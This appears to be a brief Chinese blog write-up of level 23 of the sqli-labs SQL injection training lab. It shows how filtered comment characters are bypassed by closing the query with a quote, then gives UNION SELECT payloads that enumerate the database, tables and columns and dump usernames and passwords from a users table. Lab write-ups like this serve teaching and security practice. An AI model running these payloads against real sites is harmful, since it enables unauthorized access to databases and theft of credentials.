sql-labs23关

输入?id=1' and 1=1# 或者 ?id=1' and 1=1 --+

发现报错是  '' LIMIT 0,1' 也就是多了一个单引号,那么就说明我们这个注释符号好像失效了, 因为本来注释符号就是要来把后面的东西给注释掉,相当于把后面的单引号给闭合了 

那么现在我们只需要把注释符号换成单引号就可以了

 

 不过在这里不知道为什么ordey by 不能把列数爆出来,用order by 总是显示正常信息,而无法报错的信息来得到列数

 

爆库:?id=-1' union select 1,(select database()),5 '

爆表:?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),5 '

爆列:?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),5 '

获取:?id=-1' union select 1,(select group_concat(username,'-',password) from users),5 '

 

 

 

 

posted @ 2023-09-19 10:40  Xuraniiiz  阅读(67)  评论(0)    收藏  举报